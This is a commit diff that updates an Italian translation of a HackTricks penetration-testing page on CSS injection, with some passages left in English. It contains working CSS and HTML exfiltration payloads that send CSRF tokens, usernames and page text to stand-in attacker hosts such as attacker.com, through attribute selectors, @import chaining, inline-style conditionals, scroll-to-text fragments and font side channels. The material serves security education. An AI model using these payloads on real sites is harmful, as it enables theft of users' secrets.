mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/pentesting-web/xs-search/css-injection/README.md']
This commit is contained in:
parent
5556a0ded2
commit
cd1950b469
@ -4,9 +4,9 @@
|
||||
|
||||
## CSS Injection
|
||||
|
||||
### Selettore di Attributo
|
||||
### Selettore di attributo
|
||||
|
||||
I selettori CSS sono progettati per corrispondere ai valori degli attributi `name` e `value` di un elemento `input`. Se l'attributo value dell'elemento input inizia con un carattere specifico, viene caricato una risorsa esterna predefinita:
|
||||
I selettori CSS sono creati per corrispondere ai valori degli attributi `name` e `value` di un elemento `input`. Se l'attributo `value` dell'elemento `input` inizia con un carattere specifico, viene caricata una risorsa esterna predefinita:
|
||||
```css
|
||||
input[name="csrf"][value^="a"] {
|
||||
background-image: url(https://attacker.com/exfil/a);
|
||||
@ -19,30 +19,30 @@ input[name="csrf"][value^="9"] {
|
||||
background-image: url(https://attacker.com/exfil/9);
|
||||
}
|
||||
```
|
||||
Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi di input nascosti (`type="hidden"`) perché gli elementi nascosti non caricano gli sfondi.
|
||||
Tuttavia, questo approccio presenta una limitazione quando si tratta di elementi input nascosti (`type="hidden"`) perché gli elementi nascosti non caricano gli sfondi.
|
||||
|
||||
#### Bypass per Elementi Nascosti
|
||||
#### Bypass per elementi nascosti
|
||||
|
||||
Per aggirare questa limitazione, puoi mirare a un elemento fratello successivo utilizzando il combinatore di fratelli generali `~`. La regola CSS si applica quindi a tutti i fratelli che seguono l'elemento di input nascosto, causando il caricamento dell'immagine di sfondo:
|
||||
Per aggirare questa limitazione, puoi puntare a un elemento sibling successivo utilizzando il combinatore general sibling `~`. La regola CSS viene quindi applicata a tutti i sibling che seguono l'elemento input nascosto, causando il caricamento dell'immagine di sfondo:
|
||||
```css
|
||||
input[name="csrf"][value^="csrF"] ~ * {
|
||||
background-image: url(https://attacker.com/exfil/csrF);
|
||||
}
|
||||
```
|
||||
Un esempio pratico di sfruttamento di questa tecnica è dettagliato nel frammento di codice fornito. Puoi visualizzarlo [qui](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
Un esempio pratico dello sfruttamento di questa tecnica è dettagliato nello snippet di codice fornito. Puoi vederlo [here](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
|
||||
|
||||
#### Requisiti per l'iniezione CSS
|
||||
#### Prerequisiti per CSS Injection
|
||||
|
||||
Affinché la tecnica di iniezione CSS sia efficace, devono essere soddisfatte determinate condizioni:
|
||||
Perché la tecnica CSS Injection sia efficace, devono essere soddisfatte determinate condizioni:
|
||||
|
||||
1. **Lunghezza del Payload**: Il vettore di iniezione CSS deve supportare payload sufficientemente lunghi per contenere i selettori creati.
|
||||
2. **Rivalutazione CSS**: Dovresti avere la possibilità di incorniciare la pagina, il che è necessario per attivare la rivalutazione del CSS con payload generati di recente.
|
||||
3. **Risorse Esterne**: La tecnica presuppone la possibilità di utilizzare immagini ospitate esternamente. Questo potrebbe essere limitato dalla Content Security Policy (CSP) del sito.
|
||||
1. **Payload Length**: Il vettore di CSS injection deve supportare payloads sufficientemente lunghi per ospitare i crafted selectors.
|
||||
2. **CSS Re-evaluation**: Devi avere la possibilità di effettuare il framing della pagina, necessario per innescare la rivalutazione del CSS con payloads appena generati.
|
||||
3. **External Resources**: La tecnica presuppone la capacità di utilizzare immagini ospitate esternamente. Questo potrebbe essere limitato dalla Content Security Policy (CSP) del sito.
|
||||
|
||||
### Selettore di Attributo Cieco
|
||||
### Blind Attribute Selector
|
||||
|
||||
Come [**spiegato in questo post**](https://portswigger.net/research/blind-css-exfiltration), è possibile combinare i selettori **`:has`** e **`:not`** per identificare contenuti anche da elementi ciechi. Questo è molto utile quando non hai idea di cosa ci sia all'interno della pagina web che carica l'iniezione CSS.\
|
||||
È anche possibile utilizzare quei selettori per estrarre informazioni da diversi blocchi dello stesso tipo come in:
|
||||
As [**explained in this post**](https://portswigger.net/research/blind-css-exfiltration), it's possible to combine the selectors **`:has`** and **`:not`** to identify content even from blind elements. This is very useful when you have no idea what is inside the web page loading the CSS injection.\
|
||||
It's also possible to use those selectors to extract information from several block of the same type like in:
|
||||
```html
|
||||
<style>
|
||||
html:has(input[name^="m"]):not(input[name="mytoken"]) {
|
||||
@ -52,59 +52,95 @@ background: url(/m);
|
||||
<input name="mytoken" value="1337" />
|
||||
<input name="myname" value="gareth" />
|
||||
```
|
||||
Combinando questo con la seguente tecnica **@import**, è possibile esfiltrare molte **info utilizzando l'iniezione CSS da pagine cieche con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
Combinando questo con la seguente tecnica **@import**, è possibile esfiltrare molte **informazioni usando CSS injection da pagine blind con** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
|
||||
|
||||
### @import
|
||||
|
||||
La tecnica precedente ha alcuni svantaggi, controlla i requisiti. Devi essere in grado di **inviare più link alla vittima**, oppure devi essere in grado di **iframe la pagina vulnerabile all'iniezione CSS**.
|
||||
La tecnica precedente ha alcuni svantaggi, verifica i prerequisiti. Devi o essere in grado di **inviare più link alla vittima**, oppure devi poter **inserire la pagina vulnerabile a CSS injection in un iframe**.
|
||||
|
||||
Tuttavia, c'è un'altra tecnica ingegnosa che utilizza **CSS `@import`** per migliorare la qualità della tecnica.
|
||||
Tuttavia, c'è un'altra tecnica ingegnosa che utilizza **CSS `@import`** per migliorare l'efficacia della tecnica.
|
||||
|
||||
Questo è stato mostrato per la prima volta da [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funziona in questo modo:
|
||||
Questo è stato mostrato per la prima volta da [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) e funziona così:
|
||||
|
||||
Invece di caricare la stessa pagina più e più volte con decine di payload diversi ogni volta (come nella precedente), caricheremo **la pagina solo una volta e solo con un import al server dell'attaccante** (questo è il payload da inviare alla vittima):
|
||||
Invece di caricare la stessa pagina più e più volte con decine di payload diversi ogni volta (come nel metodo precedente), caricheremo la pagina una sola volta e solo con un import verso il server dell'attaccante (questo è il payload da inviare alla vittima):
|
||||
```css
|
||||
@import url("//attacker.com:5001/start?");
|
||||
```
|
||||
1. L'importazione andrà a **ricevere alcuni script CSS** dagli attaccanti e il **browser lo caricherà**.
|
||||
2. La prima parte dello script CSS che l'attaccante invierà è **un altro `@import` al server degli attaccanti di nuovo.**
|
||||
1. Il server degli attaccanti non risponderà a questa richiesta ancora, poiché vogliamo rivelare alcuni caratteri e poi rispondere a questo import con il payload per rivelare i successivi.
|
||||
3. La seconda e più grande parte del payload sarà un **payload di leak del selettore di attributi**
|
||||
1. L'`@import` riceverà **uno script CSS** dagli attaccanti e il **browser lo caricherà**.
|
||||
2. La prima parte dello script CSS che gli attaccanti invieranno è **un altro `@import` al server degli attaccanti.**
|
||||
1. Il server degli attaccanti non risponderà a questa richiesta ancora, perché vogliamo effettuare un leak di alcuni caratteri e poi rispondere a questo import con il payload per ottenere i leak successivi.
|
||||
3. La seconda e più grande parte del payload sarà un **attribute selector leakage payload**
|
||||
1. Questo invierà al server degli attaccanti il **primo carattere del segreto e l'ultimo**
|
||||
4. Una volta che il server degli attaccanti ha ricevuto il **primo e l'ultimo carattere del segreto**, risponderà **all'import richiesto nel passo 2**.
|
||||
1. La risposta sarà esattamente la stessa dei **passi 2, 3 e 4**, ma questa volta cercherà di **trovare il secondo carattere del segreto e poi il penultimo**.
|
||||
4. Una volta che il server degli attaccanti ha ricevuto il **primo e l'ultimo carattere del segreto**, risponderà all'`@import` richiesto nel passo 2.
|
||||
1. La risposta sarà esattamente la stessa dei **passi 2, 3 e 4**, ma questa volta tenterà di **trovare il secondo carattere del segreto e poi il penultimo**.
|
||||
|
||||
L'attaccante **seguirà quel ciclo fino a riuscire a rivelare completamente il segreto**.
|
||||
L'attaccante **seguirà quel ciclo finché non riuscirà a effettuare il leak completo del segreto**.
|
||||
|
||||
Puoi trovare il [**codice originale di Pepe Vila per sfruttare questo qui**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) o puoi trovare quasi lo [**stesso codice ma commentato qui**.](#css-injection)
|
||||
You can find the original [**Pepe Vila's code to exploit this here**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) or you can find almost the [**same code but commented here**.](#css-injection)
|
||||
|
||||
> [!NOTE]
|
||||
> Lo script cercherà di scoprire 2 caratteri ogni volta (dall'inizio e dalla fine) perché il selettore di attributi consente di fare cose come:
|
||||
> [!TIP]
|
||||
> Lo script cercherà di scoprire 2 caratteri ogni volta (dall'inizio e dalla fine) perché l'attribute selector permette di fare cose come:
|
||||
>
|
||||
> ```css
|
||||
> /* value^= per abbinare l'inizio del valore*/
|
||||
> /* value^= to match the beggining of the value*/
|
||||
> input[value^="0"] {
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> --s0: url(http://localhost:5001/leak?pre=0);
|
||||
> }
|
||||
>
|
||||
> /* value$= per abbinare la fine del valore*/
|
||||
> /* value$= to match the ending of the value*/
|
||||
> input[value$="f"] {
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> --e0: url(http://localhost:5001/leak?post=f);
|
||||
> }
|
||||
> ```
|
||||
>
|
||||
> Questo consente allo script di rivelare il segreto più velocemente.
|
||||
> Questo permette allo script di leakare il segreto più velocemente.
|
||||
|
||||
> [!WARNING]
|
||||
> A volte lo script **non rileva correttamente che il prefisso + suffisso scoperto è già la flag completa** e continuerà in avanti (nel prefisso) e all'indietro (nel suffisso) e a un certo punto si bloccherà.\
|
||||
> Nessun problema, controlla semplicemente l'**output** perché **puoi vedere la flag lì**.
|
||||
> A volte lo script **non rileva correttamente che il prefisso + suffisso scoperti corrispondono già alla flag completa** e continuerà ad andare avanti (nel prefisso) e indietro (nel suffisso) e a un certo punto si bloccherà.\
|
||||
> Nessuna preoccupazione, controlla semplicemente l'**output** perché **puoi vedere la flag lì**.
|
||||
|
||||
### Inline-Style CSS Exfiltration (attr() + if() + image-set())
|
||||
|
||||
Questa primitiva permette l'esfiltrazione usando solo l'attributo style inline di un elemento, senza selector o fogli di stile esterni. Si basa sulle proprietà CSS custom, sulla funzione attr() per leggere attributi dello stesso elemento, sui nuovi condizionali CSS if() per le ramificazioni, e su image-set() per scatenare una richiesta di rete che codifica il valore corrispondente.
|
||||
|
||||
> [!WARNING]
|
||||
> Le comparazioni di uguaglianza in if() richiedono doppi apici per le stringhe letterali. Le virgolette singole non corrisponderanno.
|
||||
|
||||
- Sink: controllare l'attributo style di un elemento e assicurarsi che l'attributo target sia sullo stesso elemento (attr() legge solo attributi dello stesso elemento).
|
||||
- Read: copiare l'attributo in una variabile CSS: `--val: attr(title)`.
|
||||
- Decide: selezionare un URL usando condizionali nidificati che confrontano la variabile con candidati stringa: `--steal: if(style(--val:"1"): url(//attacker/1); else: url(//attacker/2))`.
|
||||
- Exfiltrate: applicare `background: image-set(var(--steal))` (o qualsiasi proprietà che esegue fetch) per forzare una richiesta all'endpoint scelto.
|
||||
|
||||
Attempt (does not work; single quotes in comparison):
|
||||
```html
|
||||
<div style="--val:attr(title);--steal:if(style(--val:'1'): url(/1); else: url(/2));background:image-set(var(--steal))" title=1>test</div>
|
||||
```
|
||||
Payload funzionante (virgolette doppie richieste nella comparazione):
|
||||
```html
|
||||
<div style='--val:attr(title);--steal:if(style(--val:"1"): url(/1); else: url(/2));background:image-set(var(--steal))' title=1>test</div>
|
||||
```
|
||||
Enumerazione dei valori degli attributi con condizioni annidate:
|
||||
```html
|
||||
<div style='--val: attr(data-uid); --steal: if(style(--val:"1"): url(/1); else: if(style(--val:"2"): url(/2); else: if(style(--val:"3"): url(/3); else: if(style(--val:"4"): url(/4); else: if(style(--val:"5"): url(/5); else: if(style(--val:"6"): url(/6); else: if(style(--val:"7"): url(/7); else: if(style(--val:"8"): url(/8); else: if(style(--val:"9"): url(/9); else: url(/10)))))))))); background: image-set(var(--steal));' data-uid='1'></div>
|
||||
```
|
||||
Demo realistico (probing usernames):
|
||||
```html
|
||||
<div style='--val: attr(data-username); --steal: if(style(--val:"martin"): url(https://attacker.tld/martin); else: if(style(--val:"zak"): url(https://attacker.tld/zak); else: url(https://attacker.tld/james))); background: image-set(var(--steal));' data-username="james"></div>
|
||||
```
|
||||
Note e limitazioni:
|
||||
|
||||
- Funziona sui browser basati su Chromium al momento della ricerca; il comportamento può differire su altri motori.
|
||||
- Più adatto a spazi di valori finiti/enumerabili (IDs, flags, short usernames). Rubare stringhe arbitrariamente lunghe senza fogli di stile esterni rimane impegnativo.
|
||||
- Qualsiasi proprietà CSS che recupera un URL può essere usata per innescare la richiesta (es., background/image-set, border-image, list-style, cursor, content).
|
||||
|
||||
Automazione: una Burp Custom Action può generare payload inline-style annidati per brute-force dei valori degli attributi: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/InlineStyleAttributeStealer.bambda
|
||||
|
||||
### Altri selettori
|
||||
|
||||
Altri modi per accedere a parti del DOM con **selettori CSS**:
|
||||
Altri modi per accedere a parti del DOM con **CSS selectors**:
|
||||
|
||||
- **`.class-to-search:nth-child(2)`**: Questo cercherà il secondo elemento con classe "class-to-search" nel DOM.
|
||||
- **`:empty`** selettore: Usato ad esempio in [**questo writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
- **`.class-to-search:nth-child(2)`**: Questo cercherà il secondo elemento con la classe "class-to-search" nel DOM.
|
||||
- **`:empty`** selector: Utilizzato ad esempio in [**this writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
|
||||
|
||||
```css
|
||||
[role^="img"][aria-label="1"]:empty {
|
||||
@ -112,11 +148,11 @@ background-image: url("YOUR_SERVER_URL?1");
|
||||
}
|
||||
```
|
||||
|
||||
### XS-Search basato su errore
|
||||
### Error based XS-Search
|
||||
|
||||
**Riferimento:** [Attacco basato su CSS: Abusare di unicode-range di @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC di @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
**Riferimenti:** [CSS based Attack: Abusing unicode-range of @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC by @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
|
||||
|
||||
L'intenzione generale è di **utilizzare un font personalizzato da un endpoint controllato** e garantire che **il testo (in questo caso, 'A') venga visualizzato con questo font solo se la risorsa specificata (`favicon.ico`) non può essere caricata**.
|
||||
L'intenzione complessiva è **utilizzare un font personalizzato da un endpoint controllato** e assicurarsi che **il testo (in questo caso, 'A') venga visualizzato con questo font solo se la risorsa specificata (`favicon.ico`) non può essere caricata**.
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
@ -138,49 +174,49 @@ font-family: "poc";
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
1. **Utilizzo di Font Personalizzati**:
|
||||
1. **Utilizzo di font personalizzato**:
|
||||
|
||||
- Un font personalizzato è definito utilizzando la regola `@font-face` all'interno di un tag `<style>` nella sezione `<head>`.
|
||||
- Il font è chiamato `poc` ed è recuperato da un endpoint esterno (`http://attacker.com/?leak`).
|
||||
- Un font personalizzato è definito usando la regola `@font-face` all'interno di un tag `<style>` nella sezione `<head>`.
|
||||
- Il font si chiama `poc` ed è recuperato da un endpoint esterno (`http://attacker.com/?leak`).
|
||||
- La proprietà `unicode-range` è impostata su `U+0041`, mirata al carattere Unicode specifico 'A'.
|
||||
|
||||
2. **Elemento Object con Testo di Riserva**:
|
||||
- Un elemento `<object>` con `id="poc0"` è creato nella sezione `<body>`. Questo elemento cerca di caricare una risorsa da `http://192.168.0.1/favicon.ico`.
|
||||
- La `font-family` per questo elemento è impostata su `'poc'`, come definito nella sezione `<style>`.
|
||||
- Se la risorsa (`favicon.ico`) non riesce a caricarsi, il contenuto di riserva (la lettera 'A') all'interno del tag `<object>` viene visualizzato.
|
||||
- Il contenuto di riserva ('A') verrà reso utilizzando il font personalizzato `poc` se la risorsa esterna non può essere caricata.
|
||||
2. **Elemento <object> con testo di fallback**:
|
||||
- Un elemento `<object>` con `id="poc0"` è creato nella sezione `<body>`. Questo elemento tenta di caricare una risorsa da `http://192.168.0.1/favicon.ico`.
|
||||
- Il `font-family` per questo elemento è impostato a `'poc'`, come definito nella sezione `<style>`.
|
||||
- Se la risorsa (`favicon.ico`) non riesce a caricarsi, il contenuto di fallback (la lettera 'A') all'interno del tag `<object>` viene mostrato.
|
||||
- Il contenuto di fallback ('A') verrà renderizzato usando il font personalizzato `poc` se la risorsa esterna non può essere caricata.
|
||||
|
||||
### Stile Scroll-to-Text Fragment
|
||||
### Styling Scroll-to-Text Fragment
|
||||
|
||||
La **`:target`** pseudo-classe è impiegata per selezionare un elemento mirato da un **frammento URL**, come specificato nella [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). È fondamentale comprendere che `::target-text` non corrisponde a nessun elemento a meno che il testo non sia esplicitamente mirato dal frammento.
|
||||
La pseudo-classe **`:target`** viene impiegata per selezionare un elemento indirizzato da un **URL fragment**, come specificato nella [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). È fondamentale capire che `::target-text` non corrisponde a nessun elemento a meno che il testo non sia esplicitamente indirizzato dal fragment.
|
||||
|
||||
Una preoccupazione per la sicurezza sorge quando gli attaccanti sfruttano la funzionalità **Scroll-to-text** fragment, consentendo loro di confermare la presenza di testo specifico su una pagina web caricando una risorsa dal loro server tramite iniezione HTML. Il metodo prevede l'iniezione di una regola CSS come questa:
|
||||
Si crea una problematica di sicurezza quando gli attaccanti sfruttano la feature **Scroll-to-text** fragment, permettendo loro di confermare la presenza di testo specifico su una pagina web caricando una risorsa dal proprio server tramite HTML injection. Il metodo consiste nell'iniettare una regola CSS come questa:
|
||||
```css
|
||||
:target::before {
|
||||
content: url(target.png);
|
||||
}
|
||||
```
|
||||
In tali scenari, se il testo "Administrator" è presente nella pagina, la risorsa `target.png` viene richiesta dal server, indicando la presenza del testo. Un'istanza di questo attacco può essere eseguita tramite un URL appositamente creato che incorpora il CSS iniettato insieme a un frammento Scroll-to-text:
|
||||
In tali scenari, se il testo "Administrator" è presente nella pagina, la risorsa `target.png` viene richiesta dal server, indicando la presenza del testo. Un'istanza di questo attacco può essere eseguita tramite un URL appositamente creato che incorpora il CSS iniettato insieme a uno Scroll-to-text fragment:
|
||||
```
|
||||
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
|
||||
```
|
||||
Qui, l'attacco manipola l'iniezione HTML per trasmettere il codice CSS, mirando al testo specifico "Administrator" attraverso il frammento Scroll-to-text (`#:~:text=Administrator`). Se il testo viene trovato, la risorsa indicata viene caricata, segnalando involontariamente la sua presenza all'attaccante.
|
||||
Qui, l'attacco manipola un'iniezione HTML per trasmettere il codice CSS, mirando al testo specifico "Administrator" tramite lo Scroll-to-text fragment (`#:~:text=Administrator`). Se il testo viene trovato, la risorsa indicata viene caricata, segnalandone involontariamente la presenza all'attaccante.
|
||||
|
||||
Per la mitigazione, si devono notare i seguenti punti:
|
||||
Per mitigare, si devono considerare i seguenti punti:
|
||||
|
||||
1. **Corrispondenza STTF Constrainata**: Il frammento Scroll-to-text (STTF) è progettato per corrispondere solo a parole o frasi, limitando così la sua capacità di rivelare segreti o token arbitrari.
|
||||
2. **Restrizione ai Contesti di Navigazione di Livello Superiore**: Lo STTF opera esclusivamente nei contesti di navigazione di livello superiore e non funziona all'interno di iframe, rendendo qualsiasi tentativo di sfruttamento più evidente per l'utente.
|
||||
3. **Necessità di Attivazione da Parte dell'Utente**: Lo STTF richiede un gesto di attivazione da parte dell'utente per funzionare, il che significa che gli sfruttamenti sono fattibili solo attraverso navigazioni avviate dall'utente. Questo requisito riduce notevolmente il rischio che gli attacchi vengano automatizzati senza interazione dell'utente. Tuttavia, l'autore del post del blog sottolinea condizioni specifiche e bypass (ad esempio, ingegneria sociale, interazione con estensioni di browser prevalenti) che potrebbero facilitare l'automazione dell'attacco.
|
||||
1. **Corrispondenza STTF limitata**: Scroll-to-text Fragment (STTF) è progettato per corrispondere solo parole o frasi, limitando quindi la sua capacità di leakare segreti o token arbitrari.
|
||||
2. **Restrizione ai contesti di navigazione top-level**: STTF opera esclusivamente nei contesti di navigazione top-level e non funziona all'interno di iframes, rendendo qualsiasi tentativo di sfruttamento più visibile all'utente.
|
||||
3. **Necessità di attivazione da parte dell'utente**: STTF richiede un gesto di attivazione da parte dell'utente per funzionare, il che significa che gli exploit sono possibili solo tramite navigazioni avviate dall'utente. Questo requisito mitiga considerevolmente il rischio che attacchi siano automatizzati senza interazione dell'utente. Tuttavia, l'autore del blog post indica condizioni specifiche e bypass (ad es., social engineering, interazione con estensioni del browser diffuse) che potrebbero facilitare l'automazione dell'attacco.
|
||||
|
||||
Essere consapevoli di questi meccanismi e delle potenziali vulnerabilità è fondamentale per mantenere la sicurezza web e proteggere contro tali tattiche sfruttative.
|
||||
La consapevolezza di questi meccanismi e delle potenziali vulnerabilità è fondamentale per mantenere la sicurezza web e proteggersi da tali tattiche di sfruttamento.
|
||||
|
||||
Per ulteriori informazioni, controlla il rapporto originale: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
Per maggiori informazioni, consulta il report originale: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
|
||||
|
||||
Puoi controllare un [**exploit che utilizza questa tecnica per un CTF qui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
Puoi vedere un [**exploit che utilizza questa tecnica per un CTF qui**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
|
||||
|
||||
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
Puoi specificare **font esterni per valori unicode specifici** che saranno **raccolti solo se quei valori unicode sono presenti** nella pagina. Ad esempio:
|
||||
È possibile specificare **font esterni per specifici valori unicode** che verranno **raccolti solo se tali valori unicode sono presenti** nella pagina. Per esempio:
|
||||
```html
|
||||
<style>
|
||||
@font-face {
|
||||
@ -206,25 +242,25 @@ font-family: poc;
|
||||
<p id="sensitive-information">AB</p>
|
||||
htm
|
||||
```
|
||||
Quando accedi a questa pagina, Chrome e Firefox recuperano "?A" e "?B" perché il nodo di testo di sensitive-information contiene i caratteri "A" e "B". Ma Chrome e Firefox non recuperano "?C" perché non contiene "C". Questo significa che siamo stati in grado di leggere "A" e "B".
|
||||
When you access this page, Chrome and Firefox fetch "?A" and "?B" because text node of sensitive-information contains "A" and "B" characters. But Chrome and Firefox do not fetch "?C" because it does not contain "C". This means that we have been able to read "A" and "B".
|
||||
|
||||
### Estrazione del nodo di testo (I): legature <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
### Text node exfiltration (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
|
||||
|
||||
**Riferimento:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
|
||||
|
||||
La tecnica descritta implica l'estrazione di testo da un nodo sfruttando le legature dei caratteri e monitorando i cambiamenti di larghezza. Il processo coinvolge diversi passaggi:
|
||||
La tecnica descritta consiste nell'estrarre testo da un nodo sfruttando le ligatures dei font e monitorando le variazioni di larghezza. Il processo comprende diversi passaggi:
|
||||
|
||||
1. **Creazione di font personalizzati**:
|
||||
1. **Creation of Custom Fonts**:
|
||||
|
||||
- I font SVG sono creati con glifi che hanno un attributo `horiz-adv-x`, che imposta una grande larghezza per un glifo che rappresenta una sequenza di due caratteri.
|
||||
- Esempio di glifo SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, dove "XY" denota una sequenza di due caratteri.
|
||||
- Questi font vengono poi convertiti in formato woff utilizzando fontforge.
|
||||
- SVG fonts are crafted with glyphs having a `horiz-adv-x` attribute, which sets a large width for a glyph representing a two-character sequence.
|
||||
- Example SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, where "XY" denotes a two-character sequence.
|
||||
- These fonts are then converted to woff format using fontforge.
|
||||
|
||||
2. **Rilevamento dei cambiamenti di larghezza**:
|
||||
2. **Detection of Width Changes**:
|
||||
|
||||
- Viene utilizzato CSS per garantire che il testo non vada a capo (`white-space: nowrap`) e per personalizzare lo stile della barra di scorrimento.
|
||||
- L'apparizione di una barra di scorrimento orizzontale, stilizzata in modo distintivo, funge da indicatore (oracolo) che una specifica legatura, e quindi una specifica sequenza di caratteri, è presente nel testo.
|
||||
- Il CSS coinvolto:
|
||||
- CSS is used to ensure that text does not wrap (`white-space: nowrap`) and to customize the scrollbar style.
|
||||
- The appearance of a horizontal scrollbar, styled distinctly, acts as an indicator (oracle) that a specific ligature, and hence a specific character sequence, is present in the text.
|
||||
- The CSS involved:
|
||||
```css
|
||||
body {
|
||||
white-space: nowrap;
|
||||
@ -237,28 +273,28 @@ background: url(http://attacker.com/?leak);
|
||||
}
|
||||
```
|
||||
|
||||
3. **Processo di sfruttamento**:
|
||||
3. **Exploit Process**:
|
||||
|
||||
- **Passo 1**: Vengono creati font per coppie di caratteri con larghezza sostanziale.
|
||||
- **Passo 2**: Viene impiegato un trucco basato sulla barra di scorrimento per rilevare quando il glifo di grande larghezza (legatura per una coppia di caratteri) viene reso, indicando la presenza della sequenza di caratteri.
|
||||
- **Passo 3**: Una volta rilevata una legatura, vengono generati nuovi glifi che rappresentano sequenze di tre caratteri, incorporando la coppia rilevata e aggiungendo un carattere precedente o successivo.
|
||||
- **Passo 4**: Viene effettuata la rilevazione della legatura di tre caratteri.
|
||||
- **Passo 5**: Il processo si ripete, rivelando progressivamente l'intero testo.
|
||||
- **Step 1**: Fonts are created for pairs of characters with substantial width.
|
||||
- **Step 2**: A scrollbar-based trick is employed to detect when the large width glyph (ligature for a character pair) is rendered, indicating the presence of the character sequence.
|
||||
- **Step 3**: Upon detecting a ligature, new glyphs representing three-character sequences are generated, incorporating the detected pair and adding a preceding or succeeding character.
|
||||
- **Step 4**: Detection of the three-character ligature is carried out.
|
||||
- **Step 5**: The process repeats, progressively revealing the entire text.
|
||||
|
||||
4. **Ottimizzazione**:
|
||||
- Il metodo di inizializzazione attuale che utilizza `<meta refresh=...` non è ottimale.
|
||||
- Un approccio più efficiente potrebbe coinvolgere il trucco CSS `@import`, migliorando le prestazioni dello sfruttamento.
|
||||
4. **Optimization**:
|
||||
- The current initialization method using `<meta refresh=...` is not optimal.
|
||||
- A more efficient approach could involve the CSS `@import` trick, enhancing the exploit's performance.
|
||||
|
||||
### Estrazione del nodo di testo (II): fuga del charset con un font predefinito (senza richiedere risorse esterne) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
|
||||
|
||||
**Riferimento:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
|
||||
|
||||
Questo trucco è stato rilasciato in questo [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Il charset utilizzato in un nodo di testo può essere rivelato **utilizzando i font predefiniti** installati nel browser: non sono necessari font esterni -o personalizzati-.
|
||||
This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). Il charset usato in un text node può essere leaked **using the default fonts** installati nel browser: no external -or custom- fonts are needed.
|
||||
|
||||
Il concetto ruota attorno all'utilizzo di un'animazione per espandere progressivamente la larghezza di un `div`, consentendo a un carattere alla volta di passare dalla parte 'suffisso' del testo alla parte 'prefisso'. Questo processo divide efficacemente il testo in due sezioni:
|
||||
Il concetto ruota attorno all'utilizzo di una animazione per espandere progressivamente la larghezza di un `div`, permettendo a un carattere alla volta di passare dalla parte 'suffix' del testo alla parte 'prefix'. Questo processo divide effettivamente il testo in due sezioni:
|
||||
|
||||
1. **Prefisso**: La riga iniziale.
|
||||
2. **Suffisso**: La/e riga/e successiva/e.
|
||||
1. **Prefisso**: The initial line.
|
||||
2. **Suffisso**: The subsequent line(s).
|
||||
|
||||
Le fasi di transizione dei caratteri apparirebbero come segue:
|
||||
|
||||
@ -273,13 +309,11 @@ B
|
||||
|
||||
**CADB**
|
||||
|
||||
Durante questa transizione, il **trucco unicode-range** viene impiegato per identificare ogni nuovo carattere man mano che si unisce al prefisso. Questo viene realizzato cambiando il font in Comic Sans, che è notevolmente più alto del font predefinito, attivando così una barra di scorrimento verticale. L'apparizione di questa barra di scorrimento rivela indirettamente la presenza di un nuovo carattere nel prefisso.
|
||||
